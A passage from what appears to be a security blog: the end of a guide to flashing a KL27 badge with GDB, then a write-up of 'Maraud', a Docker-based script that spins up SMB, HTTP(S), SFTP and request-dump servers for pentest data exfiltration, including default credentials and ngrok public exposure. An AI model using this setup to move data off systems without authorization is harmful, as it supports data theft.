    • If your scan doesn’t return KL27x64 M0+, and instead returns ‘Generic Cortex-M’, close GDB and retry. This seems to be a race condition of some sort. — Ross Schlaiker
  • Attach to the KL27 Microcontroller.
    • $ (gdb) attach 1
  • Allow GDB to allow access to memory outside of the device’s known memory map. This is useful to allow access to memory mapped IO from GDB.
    • $ (gdb) set mem inaccessible-by-default off
  • Set the binary file. Make sure the binary is in the current directory.
    • $ (gdb) file jackp0t.bin
  • Load the binary onto the board.
    • $ (gdb) load

Future Applications

Figuring out how to edit the source code and successfully flash these badges opens the door to tons of different future hacks. Feel free to use these instructions as a jumping point to create complex hacks like turning the badge into a custom clock!



This project is MIT licensed.

Maraud: Dockerized Data Exfiltration

What is it?

A python command line script to quickly bring up/destroy smb/http(s)/sftp/reqdump file server containers using docker. All credit to @rflathers for the idea and for creating the docker containers. He wrote a fantastic article on docker for pentesters here. All code reference in this post can be found here.


This script was written with pentesting in mind. It enables a pentester to quickly spin up file servers for data transfers/exfiltration on the command line without the overhead of spinning up/running the server on your host operating system. Even if you aren’t a pentester it is still massively convenient if you want to spin up a quick server and host it locally or on the internet. Another great thing about utilizing docker is if you happen to switch machines you can easily pull the containers and be right back where you started.


  • Docker
  • The following Docker Images:
    • rflathers/nginxserve
    • rflathers/reqdump
    • rflathers/impacket
    • atmoz/sftp
  • Linux/OSX (Tested on Ubuntu 18.04)
  • Python3


python3 -h
optional arguments:
-h, --help show this help message and exit
-s, --smb Start a SMB Server (rflathers/impacket)
-w, --http Start a Nginx http(s) server (rflathers/nginxserve)
-r, --reqdump Start a Reqdump server to dump http requests
-f, --sftp Start a sftp server (atmoz/sftp)
-k, --kill Kill the docker containers

Starting a Server

You can pull all of the required docker images at once using the following command:

$ docker pull rflathers/nginxserve && docker pull rflathers/reqdump && docker pull rflathers/impacket && docker pull atmoz/sftp

Regardless of which server you start, it will always mount and serve the current working directory. This script also assumes that you are in the docker group and can execute it without sudo. For example, to start a http(s) server run the following:

python3 -w

This will start an Nginx server, bind to ports 80/443 on your local machine, and serve the current working directory. According to @rflathers the Nginx container ‘generates a new random key and self-signed certificate in the correct location for Nginx and then starts the server:’.

You can start more than one server at time like so:

python3 -w -s -f -r

This will start reqdump, sftp, smb, and http(s) servers in the current directory all at once. (Note, the smb default login is empty and sftp (port 2222) is foo:pass per atmoz/sftp. The reqdump server (port 3000) will write all of the requests it receives to a file named reqdumplogs in the current working directory.)

Killing the Servers

To kill the servers run the following command:

python3 -k

Files that were transferred during execution will persist after the container has been destroyed to prevent data loss. You can verify the container(s) status with docker:

$ docker ps

Internet Forwarding

Want to forward your web server to the internet? Use ngrok. According to their page, ngrok ‘Instantly create a public HTTPS URL for a web site running locally on your development machine’. Spinning up a disposable public facing web server has never been simpler. Just run the following command:

python3 -w && ngrok http 80

#Press ctrl+c to close ngrok and python3 -k to kill the server

This will use use ngrok to serve up your current directory under a random domain name with trusted TLS certificate! Also the basic version of ngrok is free! (@rflathers has a great example with pictures here)


  • If you happen to get a ‘HTTP 403 Forbidden’ when spinning up the web server, check the permissions of the folder you are trying to serve. Generally speaking /tmp, /var/tmp, and /dev/shm are good places to make a folder for transferring files.
  • If you want to run the script from anywhere on your machine, move the script to a folder in your $PATH (such as /usr/local/bin). You can also make the script executable and run it without specifying python3 every time:
$ chmod +x
#Now just run it
$ -h
  • To add yourself to the docker group on Linux run the following:
sudo usermod -aG docker ${USER}